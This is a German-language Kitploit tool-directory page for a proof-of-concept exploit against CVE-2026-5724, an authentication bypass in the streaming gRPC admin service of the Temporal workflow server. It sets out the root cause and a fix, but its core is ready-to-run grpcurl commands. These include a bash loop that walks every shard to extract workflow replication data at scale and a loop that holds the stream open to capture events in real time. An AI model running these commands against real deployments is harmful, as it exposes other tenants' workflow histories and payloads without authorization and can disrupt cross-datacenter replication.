Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-5724 — Proof-of-Concept-Exploit für CVE-2026-5724, eine Authentifizierungsumgehung im Frontend-gRPC-Dienst von Temporal, die nicht authentifizierten Zugriff auf Workflow-Replikationsdaten ermöglicht. | Kitploit
Tools/GitHubGitHub/tibrn/cve-2026-5724
SchwachstellenanalyseExploitationWebsicherheitAuthentifizierungAPI-Sicherheit
GitHubtibrn/cve-2026-5724

CVE-2026-5724

Proof-of-Concept-Exploit für CVE-2026-5724, eine Authentifizierungsumgehung im Frontend-gRPC-Dienst von Temporal, die nicht authentifizierten Zugriff auf Workflow-Replikationsdaten ermöglicht.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Zusammenfassung

Der Temporal-Frontend-Dienst erzwingt keine Authentifizierung bei Streaming-gRPC-RPCs. Die Streaming-Interceptor-Kette lässt den Autorisierungs-Interceptor aus, sodass nicht authentifizierte Aufrufer auf AdminService/StreamWorkflowReplicationMessages zugreifen können, einen privilegierten Admin-only-Endpunkt, der Workflow-Replikationsdaten über alle Namespaces streamt.

Details

Der Frontend-gRPC-Server unter service/frontend/fx.go konfiguriert zwei Interceptor-Ketten. Die Streaming-Kette enthält nur telemetryInterceptor.StreamIntercept für Metriken und keine Authentifizierung:

https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/service/frontend/fx.go#L292-L294

Der Typ authorization.Interceptor implementiert nur eine Unary-Interceptor-Methode (Intercept). Es existiert kein Streaming-Äquivalent. Der einzige Streaming-RPC des Frontends ist AdminService/StreamWorkflowReplicationMessages, der laut https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 {Scope: ScopeCluster, Access: AccessAdmin} erfordern sollte. Der Streaming-Aufruf erreicht den Handler unter admin_handler.go:1904 ohne Autorisierung, wo er direkt zum Replikations-Endpunkt des internen History-Dienstes weitergeleitet wird.

PoC

Nehmen Sie eine Temporal-Bereitstellung, die die Frontend-gRPC-API exponiert.

Rufen Sie den Streaming-AdminService-RPC ohne jegliche Anmeldeinformationen auf:

root@kitploit:~
grpcurl -max-time 15 \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

# Stream verbindet sich. Server antwortet mit Replikationsstatus einschließlich
# exclusiveHighWatermark pro Shard. Während aktiver Replikation enthält die
# Antwort serialisierte Workflow-History-Ereignisse:
# {
#   "messages": {
#     "replicationTasks": [{
#       "namespaceId": "...",
#       "workflowId": "...",
#       "runId": "...",
#       "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
#       ...
#     }],
#     "exclusiveHighWatermark": "148293"
#   }
# }

Um alle Shards zu durchlaufen und Daten in großem Umfang zu extrahieren:

root@kitploit:~
#!/usr/bin/env bash
set -euo pipefail

TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"   
CLUSTER_ID="${3:-1}"       # initialFailoverVersion: 1=aktiv, 2=Failover

ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"

for SHARD in $(seq 1 "${NUM_SHARDS}"); do
  grpcurl -max-time 10 \
    -H "temporal-client-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-client-shard-id: ${SHARD}" \
    -H "temporal-server-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-server-shard-id: ${SHARD}" \
    -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
    "${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done

Um den Stream dauerhaft offen zu halten und Replikationsereignisse in Echtzeit zu erfassen:

root@kitploit:~
(
  while true; do
    echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
    sleep 5
  done
) | grpcurl -d @ \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

Auswirkungen

Ein Angreifer mit Zugriff auf das Frontend kann Workflow-Replikationsdaten über alle Namespaces und Mandanten hinweg lesen — Workflow-IDs, Run-IDs, History-Ereignisse, Aktivitäts-Payloads ohne jegliche Anmeldeinformationen. Der Angreifer kann auch die Replikation zwischen Rechenzentren stören, indem er SyncReplicationState-Nachrichten sendet, und erhält eine Brücke zum internen History-Dienst, der normalerweise niemals extern exponiert wird.

Lösung

Implementieren Sie einen StreamServerInterceptor auf authorization.Interceptor und fügen Sie ihn zur Streaming-Kette unter service/frontend/fx.go:292-296 hinzu:

root@kitploit:~
streamInterceptor := []grpc.StreamServerInterceptor{
    telemetryInterceptor.StreamIntercept,
    authInterceptor.StreamIntercept,  // Authentifizierung bei Streaming-RPCs erzwingen
}
Tool herunterladen